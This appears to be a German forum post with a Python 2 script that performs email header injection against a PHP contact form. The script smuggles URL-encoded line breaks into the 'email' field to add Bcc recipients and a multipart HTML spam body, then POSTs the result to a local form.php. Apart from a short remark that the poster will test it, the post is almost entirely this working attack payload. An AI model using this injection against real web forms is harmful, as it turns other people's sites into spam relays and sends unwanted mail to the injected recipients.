Ein Beispielformular ist bei der c't zu finden: http://www.heise.de/ct/ftp/05/22/208/ (Das werde ich jetzt mal testen)
Code: Alles auswählen
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys, urllib2, urllib
emails = [
"devnull@gibtsnicht.de", # Erste Adresse ist uninteressant
"spam_opfer1@armesau.de",
"spam_opfer2@armesau.de"
]
spamText = "Das ist der Spamtext der zu sehen sein soll."
# Zusammenbau der Emails
emails = "%0ABcc:".join(emails)
emails = emails.replace("@","%40")
# Text der Spam-Mail, an EMails anhängen
spamText = "%3Ch1%3E" + spamText + "%3C/h1%3E"
emails += "\rContent-type:multipart/mixed;boundary=xxx\r\r--xxx\r"
emails += "Content-type:text/html\r\r%s--xxx" % spamText
print "-"*79
print emails
print "-"*79
print "Form abschicken:"
# POST Daten, damit das Forumular ausgefüllt und verarbeitet wird
postParams = urllib.urlencode({
'name' : 'spammer',
'vorname' : 'spammer',
'email' : emails,
'senden' : 'Senden'
})
conn = urllib2.urlopen(
"http://localhost/form.php",
postParams
)
print "-"*79
print conn.info()
print "-"*79
print conn.read()
print "-"*79
conn.close()
Naja, ist ja auch egal...